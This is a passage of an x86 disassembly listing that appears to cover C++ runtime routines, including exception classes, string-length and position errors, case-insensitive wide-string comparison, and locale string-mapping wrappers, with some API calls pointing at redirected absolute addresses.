; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------

loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx

loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		nop
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 2810000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h

loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h

loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------

loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2

loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi

loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------

loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2880000h
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_4CDA48, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4CDA48
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4CDCA4, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_4CDCA4, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------

loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_436EF4
		push	edi
		push	esi
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_4CDCA4, 2

loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_4CDCA4
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------

loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 27D0000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2890000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi

loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------

loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------

loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D

loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------

loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax

loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0

loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91

loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_433C74
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5

loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]

loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDCA8
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	near ptr 25F0000h
		nop
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------

loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	edi
		nop
		call	near ptr 25F07C7h
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax

loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_4CDCA8, eax

loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------

loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax

loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423002
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_423002:				; CODE XREF: sub_422F03+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_4230B4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	loc_4230B4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_423057
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx

loc_423057:				; CODE XREF: sub_422F03+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_4230B4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_42306B
		mov	eax, dword_4CDA48

loc_42306B:				; CODE XREF: sub_422F03+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 25F07C7h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_4230B4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_4230B4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4182C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_4230B6
; ---------------------------------------------------------------------------

loc_4230B4:				; CODE XREF: sub_422F03+61j
					; sub_422F03+8Ej ...
		xor	eax, eax

loc_4230B6:				; CODE XREF: sub_422F03+86j
					; sub_422F03+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_4230C8	proc near		; DATA XREF: ___:00424F14o

; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES

